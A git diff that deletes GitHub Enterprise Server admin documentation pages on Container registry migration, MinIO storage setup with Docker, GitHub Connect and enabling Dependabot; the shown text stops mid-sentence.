Migrate to Container registry -topics: - - Containers - - Docker - - Migration -redirect_from: - - /admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry ---- - -{% data reusables.package_registry.container-registry-ghes-beta %} - -## About the {% data variables.product.prodname_container_registry %} - -{% data reusables.package_registry.container-registry-benefits %} For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry). - -For more information about configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise). - -## About migration from the Docker registry - -{% data reusables.package_registry.container-registry-replaces-docker-registry %} If the Docker registry on {% data variables.location.product_location %} contains images, you must manually migrate the images to the {% data variables.product.prodname_container_registry %}. - ->[!NOTE] {% data reusables.package_registry.container-registry-ghes-migration-availability %} - -{% data reusables.package_registry.container-registry-migration-namespaces %} For more information about the impact of migration to the {% data variables.product.prodname_container_registry %}, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry#about-migration-from-the-docker-registry). - -## Migrating organizations to the {% data variables.product.prodname_container_registry %} - -You can start a migration of all your organizations' Docker images to the {% data variables.product.prodname_container_registry %}. The duration of the migration operation depends on the total number of images to migrate, and the overall load on your instance. After a successful migration, {% data variables.product.prodname_ghe_server %} will display a summary, and all future uploads of Docker images will use the {% data variables.product.prodname_container_registry %}. - -If a site administrator has configured email notifications for {% data variables.location.product_location %}, you will receive an email after the migration is complete. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications). - -### During the migration - -During the migration, the CPU and memory usage for your instance will increase. To ensure the performance of the instance for your users, {% data variables.product.company_short %} recommends that you begin a migration during a period of reduced activity. - ->[!WARNING] Do not modify settings for your enterprise or run `ghe-config-apply` from an administrative SSH session. These actions will trigger a configuration run, which can restart services and may interrupt the migration. - -### After the migration - -After the migration, storage pressure on your instance will increase due to the duplication of image files in the Docker registry and the {% data variables.product.prodname_container_registry %}. A future release of {% data variables.product.prodname_ghe_server %} will remove the duplicated files when all migrations are complete. - -For more information about monitoring the performance and storage of {% data variables.location.product_location %}, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards). - -### Starting a migration - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the left sidebar, click **Packages**. -1. To the right of the number of packages to migrate, click **Start migration**. During the migration, {% data variables.product.prodname_ghe_server %} will display progress on this page. - -After the migration completes, the page will display the results. If a migration fails, the page will show the organizations that own the package that caused the failure. - -## Re-running a failed organization migration - -Prior to migration, if a user has created a package in the {% data variables.product.prodname_container_registry %} that has an identical name to an existing package in the Docker registry, the migration will fail. - -1. Delete the affected container in the {% data variables.product.prodname_container_registry %}. For more information, see [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package#deleting-a-version-of-an-organization-scoped-package-on-github). -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.packages-tab %} -1. To the right of the number of packages to migrate, click **Re-run migration**. During the migration, {% data variables.product.prodname_ghe_server %} will display progress on this page. -1. If the migration fails again, start from step 1 and re-run the migration. diff --git a/content/admin/configuring-packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md b/content/admin/configuring-packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md deleted file mode 100644 index 5f1bf2681159..000000000000 --- a/content/admin/configuring-packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Quickstart for configuring your MinIO storage bucket for GitHub Packages -intro: 'Configure your custom MinIO storage bucket for use with {% data variables.product.prodname_registry %}.' -versions: - ghes: '*' -type: quick_start -topics: - - Packages - - Enterprise - - Storage -shortTitle: Quickstart for MinIO -redirect_from: - - /admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your third-party storage solution. - -MinIO offers object storage with support for the S3 API and {% data variables.product.prodname_registry %} on your enterprise. - -This quickstart shows you how to set up MinIO using Docker for use with {% data variables.product.prodname_registry %} but you have other options for managing MinIO besides Docker. For more information about MinIO, see the official [MinIO docs](https://docs.min.io/). - -## 1. Choose a MinIO mode for your needs - -| MinIO mode | Optimized for | Storage infrastructure required | -|----|----|----| -| Standalone MinIO (on a single host) | Fast setup | Not applicable | -| Clustered MinIO (also called Distributed MinIO)| Data security | Storage servers running in a cluster | - -For more information about your options, see the official [MinIO docs](https://docs.min.io/). - -## 2. Install, run, and sign in to MinIO - -1. Set up your preferred environment variables for MinIO. - - These examples use `MINIO_DIR`: - - ```shell - export MINIO_DIR=$(pwd)/minio - mkdir -p $MINIO_DIR - ``` - -1. Install MinIO. - - ```shell - docker pull minio/minio - ``` - - For more information, see the official [MinIO Quickstart Guide](https://docs.min.io/docs/minio-quickstart-guide). - -1. Sign in to MinIO using your MinIO access key and secret. - - {% linux %} - - ```shell - $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) - # this one is actually a secret, so careful - $ export MINIO_SECRET_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) - ``` - - {% endlinux %} - - {% mac %} - - ```shell - $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) - # this one is actually a secret, so careful - $ export MINIO_SECRET_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) - ``` - - {% endmac %} - - You can access your MinIO keys using the environment variables: - - ```shell - echo $MINIO_ACCESS_KEY - echo $MINIO_SECRET_KEY - ``` - -1. Run MinIO in your chosen mode. - - * Run MinIO using Docker on a single host: - - ```shell - $ docker run -p 9000:9000 \ - -v $MINIO_DIR:/data \ - -e "MINIO_ACCESS_KEY=$MINIO_ACCESS_KEY" \ - -e "MINIO_SECRET_KEY=$MINIO_SECRET_KEY" \ - minio/minio server /data - ``` - - For more information, see [MinIO Docker Quickstart guide](https://docs.min.io/docs/minio-docker-quickstart-guide.html). - - * Run MinIO using Docker as a cluster. This MinIO deployment uses several hosts and MinIO's erasure coding for the strongest data protection. To run MinIO in a cluster mode, see the [Distributed MinIO Quickstart Guide](https://docs.min.io/docs/distributed-minio-quickstart-guide.html). - -## 3. Create your MinIO bucket for {% data variables.product.prodname_registry %} - -1. Install the MinIO client. - - ```shell - docker pull minio/mc - ``` - -1. Create a bucket with a host URL that {% data variables.product.prodname_ghe_server %} can access. - - * Local deployments example: - - ```shell - export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @localhost:9000" - docker run minio/mc BUCKET-NAME - ``` - - This example can be used for MinIO standalone. - - * Clustered deployments example: - - ```shell - export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @minioclustername.example.com:9000" - docker run minio/mc mb packages - ``` - -## Next steps - -To finish configuring storage for {% data variables.product.prodname_registry %}, you'll need to copy the MinIO storage URL: - -```shell -echo "http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY}@minioclustername.example.com:9000" -``` - -For the next steps, see [AUTOTITLE](/admin/packages/enabling-github-packages-with-minio). diff --git a/content/admin/configuring-settings/configuring-github-connect/about-github-connect.md b/content/admin/configuring-settings/configuring-github-connect/about-github-connect.md deleted file mode 100644 index 32c517f61497..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/about-github-connect.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: About GitHub Connect -intro: '{% data variables.product.prodname_github_connect %} enhances {% data variables.product.prodname_ghe_server %} by giving you access to data and workflows from {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - GitHub Connect -redirect_from: - - /admin/configuration/configuring-github-connect/about-github-connect ---- - -{% data variables.product.prodname_github_connect %} allows {% data variables.location.product_location %} to connect to your enterprise on {% data variables.product.prodname_ghe_cloud %} in limited ways. - -After you enable {% data variables.product.prodname_github_connect %}, you can choose which features to enable. For example, you can: - -* Automatically sync license usage between environments -* Unify search results and user contribution data -* Enable features that rely on {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.product.prodname_dependabot_alerts %} for security vulnerabilities that are tracked in the {% data variables.product.prodname_advisory_database %} - -## About the connection - -To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an enterprise account on **{% data variables.product.prodname_dotcom_the_website %}**{% ifversion ghecom-github-connect %} or **{% data variables.enterprise.data_residency_site %}**{% endif %}. {% data reusables.github-connect.connection-port-protocol %} - -* {% data variables.product.prodname_github_connect %} does not open {% data variables.location.product_location %} to the public internet. -* None of your enterprise's private data is exposed to {% data variables.product.prodname_ghe_cloud %} users. -* {% data variables.product.prodname_github_connect %} transmits only the limited data needed for the features you enable. Unless you enable license sync, no personal data is transmitted. For more information, see [Data transmission](#data-transmission). -* Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_ghe_cloud %} users to make changes to {% data variables.product.prodname_ghe_server %}. - -## {% data variables.product.prodname_github_connect %} features - -After you configure the connection between {% data variables.location.product_location %} and {% data variables.product.prodname_ghe_cloud %}, you can enable individual features of {% data variables.product.prodname_github_connect %}. - -{% data reusables.github-connect.what-is-available-ghecom %} - -| Feature | Description | More information | -| ----------- | ----------- | ----------- | -{% data reusables.github-connect.license-sync %} -| {% data variables.product.prodname_dependabot %} | Allow users to find and fix vulnerabilities in code dependencies. | [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise) | -| {% data variables.product.prodname_dotcom_the_website %} actions | Allow users to use actions from {% data variables.product.prodname_dotcom_the_website %} in public workflow files. | [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) | -| {% data variables.product.prodname_server_statistics %} | Analyze your own aggregate data from GitHub Enterprise Server, and help us improve GitHub products. | [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise) | -{% data reusables.github-connect.unified-search %} -{% data reusables.github-connect.unified-contributions %} - -## Data transmission - -When {% data variables.product.prodname_github_connect %} is enabled, a record on {% data variables.product.prodname_ghe_cloud %} stores information about the connection. If you enable individual features of {% data variables.product.prodname_github_connect %}, additional data is transmitted. - -> [!NOTE] -> No repositories, issues, or pull requests are ever transmitted from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} by {% data variables.product.prodname_github_connect %}. - -### Data transmitted when {% data variables.product.prodname_github_connect %} is enabled - -When you enable {% data variables.product.prodname_github_connect %} or specific {% data variables.product.prodname_github_connect %} features, a record on {% data variables.product.prodname_ghe_cloud %} stores the following information about the connection. -* The public key portion of your {% data variables.product.prodname_ghe_server %} license -* A hash of your {% data variables.product.prodname_ghe_server %} license -* The customer name on your {% data variables.product.prodname_ghe_server %} license -* The version of {% data variables.location.product_location_enterprise %} -* The hostname of {% data variables.location.product_location %} -* The enterprise account on {% data variables.product.prodname_ghe_cloud %} that's connected to {% data variables.location.product_location %} -* The authentication token that's used by {% data variables.location.product_location %} to make requests to {% data variables.product.prodname_ghe_cloud %} -* If Transport Layer Security (TLS) is enabled and configured on {% data variables.location.product_location %} -* The {% data variables.product.prodname_github_connect %} features that are enabled on {% data variables.location.product_location %}, and the date and time of enablement -* The dormancy threshold for your enterprise -* The number of dormant users for your enterprise -* A count of {% ifversion enterprise-licensing-language %}consumed licenses{% else %}license-consuming seats{% endif %}, which does not include suspended users - -{% data variables.product.prodname_github_connect %} syncs the above connection data between {% data variables.location.product_location %} and {% data variables.product.prodname_ghe_cloud %} weekly, starting from the day and approximate time that {% data variables.product.prodname_github_connect %} was enabled. - -### Data transmitted by individual features of {% data variables.product.prodname_github_connect %} - -Additional data is transmitted if you enable individual features of {% data variables.product.prodname_github_connect %}. - -| Feature | Data | Which way does the data flow? | Where is the data used? | -| ------- | ---- | --------- | ------ | -| Automatic user license sync | Each {% data variables.product.prodname_ghe_server %} user's user ID and email addresses{% ifversion ghas-in-license-sync %}, and whether the user consumes a license for {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %}.{% endif %} | From {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %} | -| {% data variables.product.prodname_dependabot_alerts %} | Vulnerability alerts | From {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %} | {% data variables.product.prodname_ghe_server %} | -| {% data variables.product.prodname_dependabot_updates %} | Dependencies and the metadata for each dependency's repository<br><br>If a dependency is stored in a private repository on {% data variables.product.prodname_dotcom_the_website %}, data will only be transmitted if {% data variables.product.prodname_dependabot %} is configured and authorized to access that repository. | From {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %} | {% data variables.product.prodname_ghe_server %} | -| {% data variables.product.prodname_dotcom_the_website %} actions | Name of action, action (YAML file from {% data variables.product.prodname_marketplace %}) | From {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}<br><br>From {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.prodname_ghe_server %} | -| {% data variables.product.prodname_server_statistics %} | Aggregate metrics about your usage of {% data variables.product.prodname_ghe_server %}. For the complete list of metrics, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected). | From {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %} | -| Unified search | Search terms, search results | From {% data variables.product.prodname_ghe_cloud %} to {% data variables.product.prodname_ghe_server %}<br><br>From {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_server %} | -| Unified contributions | Contribution counts | From {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %} | - -## Enabling {% data variables.product.prodname_github_connect %} - -{% ifversion ghecom-github-connect %} - -To enable {% data variables.product.prodname_github_connect %}, see the article for your {% data variables.product.prodname_ghe_cloud %} environment. - -* [AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom) -* [AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom) - -{% else %} - -To enable {% data variables.product.prodname_github_connect %}, see [AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom). - -{% endif %} diff --git a/content/admin/configuring-settings/configuring-github-connect/disabling-github-connect.md b/content/admin/configuring-settings/configuring-github-connect/disabling-github-connect.md deleted file mode 100644 index afa0e4f8b2e3..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/disabling-github-connect.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Disabling GitHub Connect -shortTitle: Disable GitHub Connect -intro: 'You can disable {% data variables.product.prodname_github_connect %} to stop the connection from {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghes: '*' -permissions: 'Enterprise owners' ---- - -When you disconnect from {% data variables.product.prodname_ghe_cloud %}, the {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} is deleted from your enterprise account and credentials stored on {% data variables.location.product_location %} are deleted. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "{% data variables.product.prodname_github_connect %}", to the right of the enterprise account you'd like to disconnect, click **Disable {% data variables.product.prodname_github_connect %}**. -1. Read the information about disconnection, then click **Disable {% data variables.product.prodname_github_connect %}**. diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md b/content/admin/configuring-settings/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md deleted file mode 100644 index 41608fe4ac07..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Enabling automatic user license sync for your enterprise -intro: 'You can manage license usage across your {% data variables.product.prodname_enterprise %} environments by automatically syncing user licenses from {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' -redirect_from: - - /enterprise/admin/installation/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud - - /enterprise/admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud - - /admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud - - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud - - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud - - /admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise -permissions: Enterprise owners can enable automatic user license synchronization. -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - GitHub Connect - - Licensing -shortTitle: Automatic user license sync ---- -## About automatic license synchronization - -{% data reusables.enterprise-licensing.unique-user-licensing-model %} - -{% data reusables.enterprise-licensing.about-license-sync %} For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect#data-transmission). - -If you enable automatic user license sync for your enterprise, every week, {% data variables.product.prodname_github_connect %} will automatically synchronize license usage between {% data variables.product.prodname_ghe_server %} and your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-license-sync %} or {% data variables.enterprise.data_residency_site %}{% endif %}. You can also synchronize your license data at any time outside of the automatic weekly sync, by manually triggering a license sync job. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#triggering-a-license-sync-job). - -If you use multiple {% data variables.product.prodname_ghe_server %} instances, you can enable automatic license sync between each of your instances and the same enterprise account on {% data variables.product.prodname_ghe_cloud %}. - -{% data reusables.enterprise-licensing.view-consumed-licenses %} - -You can also manually upload {% data variables.product.prodname_ghe_server %} user license information to {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -{% data reusables.enterprise-licensing.verified-domains-license-sync %} - -## Enabling license synchronization - -Before enabling license synchronization on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. See {% ifversion ghecom-license-sync %}[AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-ghecom) or {% endif %}[AUTOTITLE](/admin/configuring-settings/configuring-github-connect/enabling-github-connect-for-githubcom). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. To the right of "License sync", click **Enable**. - - ![Screenshot of the "License sync" option on the GitHub Connect page. The "Enable" button is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/enable-user-license-drop-down.png) diff --git a/content/admin/configuring-settings/configuring-github-connect/enabling-dependabot-for-your-enterprise.md b/content/admin/configuring-settings/configuring-github-connect/enabling-dependabot-for-your-enterprise.md deleted file mode 100644 index 8b1eb3ac1941..000000000000 --- a/content/admin/configuring-settings/configuring-github-connect/enabling-dependabot-for-your-enterprise.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Enabling Dependabot for your enterprise -intro: 'You can allow users to find and fix vulnerabilities in code dependencies by {% ifversion dependabot-alerts-ghes-enablement %} setting up {% else %}enabling{% endif %} {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} and {% data variables.product.prodname_dependabot_updates %}{% endif %}.' -shortTitle: Dependabot -redirect_from: - - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server - - /enterprise/admin/configuration/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server - - /enterprise/admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account - - /admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise - - /admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise -permissions: 'Enterprise owners can{% ifversion dependabot-alerts-ghes-enablement %} set up{% else %} enable{% endif %} {% data variables.product.prodname_dependabot %}.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Security - - Dependency graph - - Dependabot ---- - -## About {% data variables.product.prodname_dependabot %} for {% data variables.product.prodname_ghe_server %} - -{% data variables.product.prodname_dependabot %} helps users find and fix vulnerabilities in their dependencies. You {% ifversion dependabot-alerts-ghes-enablement %} must first set up {% data variables.product.prodname_dependabot %} for your enterprise, and then you {% endif %} can enable {% data variables.product.prodname_dependabot_alerts %} to notify users about vulnerable dependencies and {% data variables.product.prodname_dependabot_updates %} to fix the vulnerabilities and keep dependencies updated to the latest version. - -{% data variables.product.prodname_dependabot %} is just one of many features available to harden supply chain security for {% data variables.product.prodname_dotcom %}. For more information about the other features, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise). - -### About {% data variables.product.prodname_dependabot_alerts %} - -With {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dotcom %} identifies insecure dependencies in repositories and creates alerts on {% data variables.product.prodname_ghe_server %}, using data from the {% data variables.product.prodname_advisory_database %} and the dependency graph service. - -{% data reusables.repositories.tracks-vulnerabilities %} - -After you {% ifversion dependabot-alerts-ghes-enablement %} set up {% data variables.product.prodname_dependabot %}{% else %} enable {% data variables.product.prodname_dependabot_alerts %}{% endif %} for your enterprise, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %} - -You can also choose to manually sync vulnerability data at any time. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise). - -> [!NOTE] -> When you enable {% data variables.product.prodname_dependabot_alerts %}, no code or information about code from {% data variables.product.prodname_ghe_server %} is uploaded to {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}. - -When {% data variables.product.prodname_ghe_server %} receives information about a vulnerability, it identifies repositories that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}. - -For repositories with {% data variables.product.prodname_dependabot_alerts %} enabled, scanning is triggered on any push to the default branch that contains a manifest file or lock file. Additionally, when a new vulnerability record is added, {% data variables.product.prodname_ghe_server %} scans all existing repositories and generates alerts for any repository that is vulnerable. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -### About {% data variables.product.prodname_dependabot_updates %} - -After you enable {% data variables.product.prodname_dependabot_alerts %}, you can choose to enable {% data variables.product.prodname_dependabot_updates %}. When {% data variables.product.prodname_dependabot_updates %} are enabled for {% data variables.product.prodname_ghe_server %}, users can configure repositories so that their dependencies are updated and kept secure automatically. - -> [!NOTE] -> {% data variables.product.prodname_dependabot_updates %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} with self-hosted runners. - -By default, {% data variables.product.prodname_actions %} runners used by {% data variables.product.prodname_dependabot %} need access to the internet, to download updated packages from upstream package managers. For {% data variables.product.prodname_dependabot_updates %} powered by {% data variables.product.prodname_github_connect %}, internet access provides your runners with a token that allows access to dependencies and advisories hosted on {% data variables.product.prodname_dotcom_the_website %}. - -{% ifversion dependabot-ghes-no-public-internet %} -You can enable {% data variables.product.prodname_dependabot_updates %} for specific private registries on {% data variables.product.prodname_ghe_server %} instances with limited, or no, internet access. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/configuring-dependabot-to-work-with-limited-internet-access). -{% endif %} - -With {% data variables.product.prodname_dependabot_updates %}, {% data variables.product.company_short %} automatically creates pull requests to update dependencies in two ways. - -* **{% data variables.product.prodname_dependabot_version_updates %}:** Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). -* **{% data variables.product.prodname_dependabot_security_updates %}:** Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -## Enabling {% data variables.product.prodname_dependabot_alerts %} - -{% ifversion dependabot-alerts-ghes-enablement %} -Before you can enable {% data variables.product.prodname_dependabot_alerts %}, you must first set up {% data variables.product.prodname_dependabot %} for your enterprise{% else %}Before you can enable {% data variables.product.prodname_dependabot_alerts %}{% endif %}: -* You must enable {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect). -* You must enable the dependency graph. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "{% data variables.product.prodname_dependabot %}", to the right of {% ifversion dependabot-alerts-ghes-enablement %}"Periodically download the {% data variables.product.prodname_advisory_database %} so that users can receive vulnerability alerts for open source code dependencies"{% else %}"Users can receive vulnerability alerts for open source code dependencies"{% endif %}, select the dropdown menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. - - ![Screenshot of the "Enable" dropdown menu for {% data variables.product.prodname_dependabot_alerts %}, showing the available options.](/assets/images/enterprise/site-admin-settings/dependabot-alerts-setup-dropdown.png) - - > [!NOTE] - > This setting controls realtime email and web notifications only. Command line interface (CLI) warnings and email digests will still be delivered regardless of which option is selected. - - > [!TIP] - > We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of realtime notifications. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual. - -You can now enable {% data variables.product.prodname_dependabot_alerts %} for all existing or new private and internal repositories in the enterprise settings page for "{% data variables.product.UI_advanced_security_ent %}." Alternatively, repository administrators and organization owners can enable {% data variables.product.prodname_dependabot_alerts %} for each repository and organization. Public repositories are always enabled by default. For more information, see [AUTOTITLE](/enterprise-server@latest/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts). - -## Enabling {% data variables.product.prodname_dependabot_updates %} - -Before you can enable {% data variables.product.prodname_dependabot_updates %}: -* You must enable {% data variables.product.prodname_dependabot_alerts %} for your enterprise. For more information, see "Enabling {% data variables.product.prodname_dependabot_alerts %}" above. -* You must enable TLS. {% data variables.product.prodname_dependabot_updates %} run on self-hosted runners, which need to have TLS enabled. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise#prerequisites). -* You must configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). - -{% data variables.product.prodname_dependabot_updates %} are not supported on {% data variables.product.prodname_ghe_server %} if your enterprise uses clustering. - -> [!NOTE] -> After you enable the dependency graph, you can use the [{% data variables.product.prodname_dependabot %} action](https://github.com/github/dependabot-action). The action will raise an error if any vulnerabilities or invalid licenses are being introduced. {% data reusables.actions.action-bundled-actions %} - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security", select **{% data variables.product.prodname_dependabot_security_updates %}**. -{% data reusables.enterprise_management_console.save-settings %} -1. Click **Visit your instance**. -1. Configure dedicated self-hosted runners to create the pull requests that will update dependencies. This is required because the workflows use a specific runner label. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates). -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "{% data variables.product.prodname_dependabot %}", to the right of "Users can easily upgrade to non-vulnerable open source code dependencies", click **Enable**. - -When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see 